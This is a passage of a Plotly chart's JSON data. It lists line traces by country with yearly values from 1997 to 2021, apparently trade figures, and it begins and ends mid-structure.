[ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 519.43, - 474.8, - 543.5, - 685.15, - 698.27, - 1011.81, - 1513.93, - 1791.58, - 2602.37, - 2728.63, - 3465.39, - 2782.49, - 2580.2, - 4009.23, - 5016.23, - 4609.68, - 5201.27, - 7459.89, - 6053.54, - 4515.35, - 5249.09, - 6198.6, - 4704.61, - 4141.17, - 4420.08 - ] - }, - { - "mode": "lines", - "name": "ST KITT N A", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.08, - 0, - 0, - 0, - 0, - 0, - 0, - 0.42, - 0.39, - 0.63, - 0, - 1.5, - 0, - 0.76, - 0.63, - 1.23, - 1.62, - 2.36, - 3.1, - 2.87, - 2.37, - 0, - 0.99, - 2.52 - ] - }, - { - "mode": "lines", - "name": "ST LUCIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0.32, - 0, - 0, - 0, - 0.74, - 0.66, - 4.32, - 26.64, - 1.65, - 2.88, - 1.79, - 1.44, - 2.78, - 2.27, - 3.13, - 4.56, - 4.38, - 4.58, - 3.85, - 3.79, - 2.91 - ] - }, - { - "mode": "lines", - "name": "SUDAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 49.04, - 70.08, - 78.08, - 105.81, - 135.61, - 129.67, - 138.59, - 340.33, - 327.26, - 492.56, - 840.66, - 900.6, - 936.06, - 1102.24, - 1148.16, - 882.26, - 1299.47, - 1452.13, - 931.56, - 993.86, - 1274.78, - 1663.52, - 1493.63, - 1390.61, - 793.4 - ] - }, - { - "mode": "lines", - "name": "SURINAME", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 1.22, - 0, - 1.2, - 1.65, - 5.07, - 4.24, - 18.53, - 22.15, - 17.76, - 12.07, - 14.66, - 17.73, - 12.95, - 14.83, - 43.74, - 37.33, - 228.49, - 56.18, - 56.42, - 110.14, - 111.97, - 86.19, - 51.26, - 37.04 - ] - }, - { - "mode": "lines", - "name": "SWAZILAND", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 2.19, - 0.93, - 1.63, - 2.46, - 1.59, - 13.38, - 30.76, - 25.41, - 28.86, - 61.61, - 47.82, - 81.45, - 53.28, - 196.39, - 68.92, - 117.97, - 147.47, - 61.96, - 100.71, - 78.8, - 41.63, - 28.8, - 25.61, - 75.19, - 253.9 - ] - }, - { - "mode": "lines", - "name": "SWEDEN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 440.43, - 349.83, - 385.27, - 414.35, - 556.48, - 693.85, - 918.66, - 1179.13, - 1498.59, - 2320.16, - 2672.31, - 2519.18, - 2066.76, - 2247.12, - 2765.79, - 2367.58, - 2412.86, - 2488.87, - 2168.4, - 1870.05, - 2235.97, - 2119.08, - 1862.9, - 1768.6, - 1818.45 - ] - }, - { - "mode": "lines", - "name": "KENYA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 144.86, - 181.4, - 137.75, - 159.95, - 187.95, - 237.14, - 271.41, - 473.36, - 625.06, - 1365.67, - 1671.27, - 1444.27, - 1530.92, - 2305.99, - 2390.85, - 3876.29, - 4008.78, - 4235.36, - 3153.4, - 2298.64, - 2047.14, - 2208.96, - 2198.2, - 2026.1, - 2066 - ] - }, - { - "mode": "lines", - "name": "LITHUANIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 2.7, - 3.8, - 20.02, - 9.78, - 7.37, - 15.68, - 28.72, - 48.23, - 62.4, - 60.77, - 68.82, - 632.92, - 139.08, - 208.75, - 338.26, - 193.34, - 158.64, - 215.15, - 302.44, - 367.15, - 293.23, - 339.51, - 372.86, - 484.71, - 332.34 - ] - }, - { - "mode": "lines", - "name": "JORDAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 237.6, - 344.75, - 325.52, - 322.13, - 290.66, - 326.26, - 381.26, - 484.13, - 627.3, - 649.88, - 1045.39, - 2208.4, - 1069.05, - 1304.29, - 2304.14, - 1942.85, - 2206.59, - 2288.96, - 1352.88, - 1350.65, - 1525.8, - 1695.06, - 2025.31, - 1696.42, - 1933.37 - ] - }, - { - "mode": "lines", - "name": "COLOMBIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 37.97, - 28.26, - 36.12, - 58.92, - 59.73, - 67.39, - 105.78, - 344.87, - 464.37, - 652.64, - 843.92, - 387.66, - 813.25, - 1417.62, - 1452.25, - 3264.91, - 5978.13, - 3240.08, - 1694.68, - 1378.47, - 1531.94, - 2171.83, - 1854.37, - 2268.6, - 3201.1 - ] - }, - { - "mode": "lines", - "name": "BURKINA FASO", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 6.84, - 17.14, - 17.25, - 22.58, - 25.71, - 34.2, - 29.54, - 22.62, - 20.54, - 51.76, - 88.35, - 42.61, - 49.96, - 101.46, - 100.76, - 119.76, - 264.4, - 346.91, - 371.36, - 780.92, - 1062.71, - 696.61, - 567.82, - 516 - ] - }, - { - "mode": "lines", - "name": "BURUNDI", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 1.37, - 0, - 3.1, - 2.6, - 0, - 5.8, - 7.67, - 10.76, - 7.97, - 9.91, - 14.77, - 13.37, - 16.36, - 24.72, - 32.9, - 30.94, - 31.74, - 29.17, - 37.58, - 54.62, - 52.9, - 62.29, - 64.09, - 47.51 - ] - }, - { - "mode": "lines", - "name": "C AFRI REP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.58, - 0, - 1, - 5.3, - 0, - 0.81, - 1.13, - 1.76, - 2.84, - 2.45, - 4.87, - 5.87, - 5.07, - 8.28, - 10.44, - 8.64, - 8.39, - 10.01, - 10.67, - 39.8, - 28.82, - 56.19, - 23.94, - 0 - ] - }, - { - "mode": "lines", - "name": "CAMBODIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 4.46, - 8.15, - 8.1, - 9.18, - 12.41, - 20.45, - 18.88, - 18.38, - 24.97, - 53.67, - 56.4, - 49.61, - 50.6, - 74.95, - 106.72, - 124.18, - 154.04, - 160.49, - 197.44, - 141.16, - 177.24, - 238.61, - 234.81, - 208.21, - 196.88 - ] - }, - { - "mode": "lines", - "name": "CAMEROON", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 22.51, - 14.25, - 15.59, - 15.73, - 22.45, - 27.7, - 33.56, - 38.41, - 46.93, - 90.84, - 91.34, - 123.44, - 214.59, - 259.27, - 719.61, - 694.16, - 527.97, - 994.49, - 748.53, - 507.9, - 406.76, - 521.46, - 904.81, - 481.54, - 662.64 - ] - }, - { - "mode": "lines", - "name": "CANADA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 848.73, - 858.58, - 958.78, - 1053.54, - 1114.25, - 1264.56, - 1489.08, - 1642.53, - 1941.44, - 2885.74, - 3247.86, - 3823.06, - 3220.13, - 3378.8, - 4972.3, - 4836.8, - 5185.26, - 5945.42, - 6252.45, - 6135.64, - 7234.66, - 6366.83, - 6732.13, - 5647.2, - 4841.95 - ] - }, - { - "mode": "lines", - "name": "CAPE VERDE IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0.15, - 0.41, - 0.43, - 0.72, - 0.81, - 2.57, - 3.83, - 4.37, - 4.61, - 7.09, - 4.2, - 3.15, - 4.3, - 4.5, - 4.22, - 5.35, - 6.51 - ] - }, - { - "mode": "lines", - "name": "CAYMAN IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.19, - 0, - 0, - 0, - 0, - 0, - 0.68, - 0.42, - 60.41, - 160.18, - 0.7, - 2.25, - 0.31, - 0.98, - 0.39, - 3.16, - 6.75, - 0, - 4.76, - 10.48, - 4.61, - 8.02, - 90.77, - 5.24 - ] - }, - { - "mode": "lines", - "name": "CHAD", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 3.01, - 6.07, - 5.08, - 4.28, - 28.47, - 13.99, - 20.32, - 13.84, - 12.57, - 79.82, - 203.57, - 44.28, - 103.46, - 364.37, - 207.88, - 176.75, - 513.59, - 329.44, - 109.23, - 39.7 - ] - }, - { - "mode": "lines", - "name": "CHILE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 192.61, - 124.34, - 154.09, - 165.59, - 178.04, - 239.44, - 239.75, - 456.78, - 586.65, - 2300.7, - 2087.41, - 1897.37, - 1396.7, - 2057.8, - 2655.35, - 3682.31, - 3171.81, - 3646.45, - 2639.99, - 1900.67, - 2855.71, - 2227.35, - 1969.1, - 1475.6, - 2006.58 - ] - }, - { - "mode": "lines", - "name": "CHINA P RP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1830, - 1523.87, - 1821.93, - 2333.5, - 2988.34, - 4767.52, - 7008.29, - 12713.86, - 17627.15, - 25796.89, - 38017.74, - 41850.52, - 42441.9, - 57648.62, - 73390.13, - 65783.21, - 65858.98, - 72347.42, - 70719.31, - 71454.93, - 89714.23, - 87071.84, - 81873.5, - 86399.4, - 84751.67 - ] - }, - { - "mode": "lines", - "name": "COMOROS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.21, - 1.53, - 0, - 0, - 3.26, - 6.71, - 2.43, - 2.59, - 8.98, - 22.78, - 11.82, - 25.86, - 9.97, - 17.17, - 13.94, - 28.75, - 20.29, - 29.05, - 32.1, - 46.43, - 66.89, - 51.68, - 38.52, - 30.74, - 26.89 - ] - }, - { - "mode": "lines", - "name": "EGYPT A RP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 446.01, - 462.73, - 680.56, - 396.27, - 562.67, - 524.81, - 465.69, - 597.38, - 892.87, - 2502.82, - 3384.34, - 3821.2, - 3096.23, - 3336.98, - 5424.29, - 5450.8, - 4951.11, - 4767.36, - 3558.88, - 3231.12, - 3685.27, - 4564.22, - 4535.61, - 4156.77, - 5114.65 - ] - }, - { - "mode": "lines", - "name": "CONGO D. REP.", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 54.29, - 13.66, - 5.13, - 4.73, - 3.75, - 4.32, - 11.24, - 5.36, - 16.24, - 18.16, - 18.02, - 132.32, - 154.83, - 16.5, - 7.79, - 0, - 228.75, - 380.61, - 415.38, - 285.1, - 450.5, - 321.96, - 384.9, - 440.49, - 429.43 - ] - }, - { - "mode": "lines", - "name": "CONGO P REP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 16.68, - 29, - 23.33, - 47.89, - 40.24, - 56.62, - 66.54, - 115.23, - 155.56, - 196.22, - 255.92, - 697.09, - 741.4, - 785.21, - 604.88, - 653.84, - 299.85, - 618.42, - 368.3, - 292.34, - 315.49, - 538.53, - 700.42, - 355.78, - 870.05 - ] - }, - { - "mode": "lines", - "name": "COSTA RICA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 2.13, - 3.32, - 3.52, - 7.72, - 9.14, - 15.84, - 46.13, - 51.94, - 53.92, - 64.45, - 119.7, - 107.22, - 125.85, - 156.79, - 269.7, - 294, - 285.07, - 251.13, - 196.97, - 218.15, - 200.85, - 186.71, - 175.33, - 161.13, - 161.05 - ] - }, - { - "mode": "lines", - "name": "COTE D' IVOIRE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 64.89, - 104.19, - 131.96, - 169.02, - 129.08, - 134.96, - 197.88, - 261.11, - 300.06, - 321.12, - 456.48, - 416.42, - 420.5, - 344.99, - 748.86, - 780.2, - 597.35, - 841.85, - 969.75, - 874.47, - 953.45, - 1051.69, - 869.55, - 903.47, - 829.79 - ] - }, - { - "mode": "lines", - "name": "CUBA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 6.38, - 7.07, - 7.53, - 9.82, - 9.72, - 8.44, - 6.8, - 9.17, - 15.23, - 28.14, - 33.69, - 38.47, - 23.82, - 26.63, - 40.66, - 39.77, - 37.93, - 38.89, - 55.64, - 43.1, - 43.86, - 38.81, - 51.04, - 89.77, - 24.17 - ] - }, - { - "mode": "lines", - "name": "CYPRUS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 34.47, - 25.21, - 37.5, - 32.7, - 34.78, - 26.24, - 30.8, - 34.21, - 57.94, - 146.26, - 190.9, - 408.26, - 60.93, - 63.71, - 84.23, - 76.27, - 81.88, - 73.94, - 107.98, - 138.35, - 113.37, - 464.43, - 517.71, - 114.09, - 123.29 - ] - }, - { - "mode": "lines", - "name": "CZECH REPUBLIC", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 67.74, - 78.42, - 73.24, - 74.79, - 79.71, - 142.9, - 199.86, - 263.33, - 357.25, - 456.37, - 628, - 675.17, - 740.21, - 892.54, - 990.73, - 895.67, - 905.05, - 896.43, - 996.48, - 1072.39, - 1074.9, - 687.97, - 795.77, - 878.59, - 895.12 - ] - }, - { - "mode": "lines", - "name": "DENMARK", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 249.5, - 286.24, - 346.54, - 316.88, - 272.47, - 327.03, - 467.5, - 575.96, - 926.22, - 797.76, - 961.11, - 1061.1, - 1172.79, - 1163.56, - 1371.8, - 1249, - 1206.89, - 1182.2, - 1117.33, - 1174.5, - 1348.66, - 1283.89, - 1366.36, - 1344.38, - 1175.85 - ] - }, - { - "mode": "lines", - "name": "DJIBOUTI", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 8.97, - 13.31, - 11.2, - 21.42, - 16.96, - 38.24, - 74.87, - 131.74, - 233.71, - 309.77, - 465.24, - 363.62, - 267.01, - 322.27, - 477.48, - 417.04, - 311.19, - 239.43, - 205.78, - 283.24, - 381.91, - 806.49, - 335.55, - 367.23, - 580.63 - ] - }, - { - "mode": "lines", - "name": "DOMINIC REP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 5.41, - 11.69, - 11.5, - 0, - 16.3, - 13.97, - 24.8, - 37.13, - 38.75, - 45.38, - 61.69, - 64.7, - 98.53, - 110.04, - 119.67, - 138.2, - 431.57, - 653.63, - 899.83, - 842.73, - 782.38, - 574.43, - 466, - 736.27 - ] - }, - { - "mode": "lines", - "name": "DOMINICA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 2.12, - 0, - 0, - 0, - 2.19, - 2.07, - 2.29, - 2.37, - 2.79, - 3.21, - 4.02, - 3.31, - 3.44, - 2.81, - 3.08, - 3.98, - 2.47, - 2.63, - 1.56, - 3.23, - 2.38, - 1.61, - 2.42, - 2.11, - 2.32 - ] - }, - { - "mode": "lines", - "name": "BULGARIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 20.63, - 11.43, - 45.87, - 24.59, - 23.82, - 19.57, - 36.36, - 42.71, - 48.13, - 117.53, - 192.18, - 134.83, - 83.53, - 127.28, - 209.89, - 247.07, - 261.75, - 370.11, - 239.26, - 421.75, - 315.18, - 338.09, - 302.96, - 295.72, - 274.82 - ] - }, - { - "mode": "lines", - "name": "BRUNEI", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 2.27, - 3.31, - 1.41, - 3.46, - 3.21, - 4.78, - 4.93, - 5.6, - 43.82, - 293.68, - 237.67, - 415.16, - 453.09, - 257.23, - 1500.51, - 854.82, - 796.05, - 882.87, - 582.46, - 670.73, - 498.01, - 647.29, - 643.9, - 392.16, - 358.35 - ] - }, - { - "mode": "lines", - "name": "BRAZIL", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 342.57, - 329.1, - 465.92, - 371.21, - 527.18, - 795.82, - 589.14, - 1470.57, - 1983.67, - 2441.6, - 3475.85, - 3837.39, - 5852.25, - 7573.04, - 10041.22, - 10874.29, - 9273.4, - 11364.73, - 6690.43, - 6515.15, - 8561.71, - 8206.92, - 7042.36, - 7260.92, - 8999.81 - ] - }, - { - "mode": "lines", - "name": "BR VIRGN IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0.29, - 0, - 0, - 2.1, - 0.34, - 0.11, - 0.85, - 20.27, - 0.61, - 35.11, - 81.75, - 1.28, - 1.46, - 1.52, - 0.55, - 1.48, - 2.4, - 7.14, - 1.64, - 27.52, - 9.06, - 11.28, - 14.11 - ] - }, - { - "mode": "lines", - "name": "ALGERIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 17.64, - 25.06, - 31.41, - 23.64, - 30.84, - 67.89, - 126.62, - 237.53, - 286.03, - 1090.51, - 1616.12, - 1705.65, - 1569.51, - 2598.13, - 2947.08, - 1772.28, - 1930.43, - 1615.55, - 1087.24, - 1447.01, - 2084.2, - 2637.22, - 2607.79, - 1003.53, - 1070.76 - ] - }, - { - "mode": "lines", - "name": "AMERI SAMOA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.2, - 0, - 0, - 0, - 0.74, - 0.27, - 1.32, - 0.59, - 84.01, - 1.33, - 0.37, - 0.43, - 0.36, - 3.45, - 1.15, - 0.19, - 0.86, - 1.29, - 0.22, - 0.61, - 0.03, - 3.21, - 1.54, - 0.62 - ] - }, - { - "mode": "lines", - "name": "ANDORRA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.03, - 0.1, - 0, - 0, - 0, - 0.21, - 0.06, - 0.2, - 0, - 0.16, - 0.14, - 0.97, - 0.2, - 0.27, - 0.28, - 0.12, - 0.12, - 5.54, - 0.12, - 0.23, - 0, - 0.37, - 0.11, - 0.03, - 0 - ] - }, - { - "mode": "lines", - "name": "ANGOLA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 5.84, - 0, - 25.03, - 44.51, - 0, - 73.8, - 154.91, - 446.6, - 1286.21, - 1756.7, - 4877.85, - 5787.56, - 7079.4, - 7646.33, - 6528.34, - 5170.29, - 2990, - 2751.12, - 4558.77, - 4309.86, - 3934.11, - 2139.34, - 2056.4 - ] - }, - { - "mode": "lines", - "name": "ANTIGUA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0.19, - 0, - 0, - 5.01, - 1.05, - 1.25, - 2.54, - 1.93, - 3.06, - 1.47, - 16.57, - 0.94, - 1.59, - 2.23, - 2.56, - 2.57, - 1.98, - 2.19, - 2.86, - 2.38, - 1.76, - 1.84 - ] - }, - { - "mode": "lines", - "name": "ARGENTINA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 220.9, - 413.28, - 410.08, - 479.27, - 500.62, - 464.43, - 611.29, - 725.91, - 953.54, - 1087.38, - 1196.93, - 851.08, - 942.17, - 1427.1, - 1579.12, - 1738.66, - 1949.83, - 2452.43, - 3007.98, - 3011.47, - 2937.91, - 2517.92, - 3090.49, - 3314.89, - 4297 - ] - }, - { - "mode": "lines", - "name": "ARMENIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.2, - 0.66, - 1.96, - 1.77, - 2.68, - 4.19, - 8.02, - 9.27, - 85.64, - 23.68, - 22.76, - 21.44, - 26.9, - 44.45, - 41.96, - 74.17, - 92.29, - 36.82, - 31.38, - 33.91, - 26.85, - 42.05, - 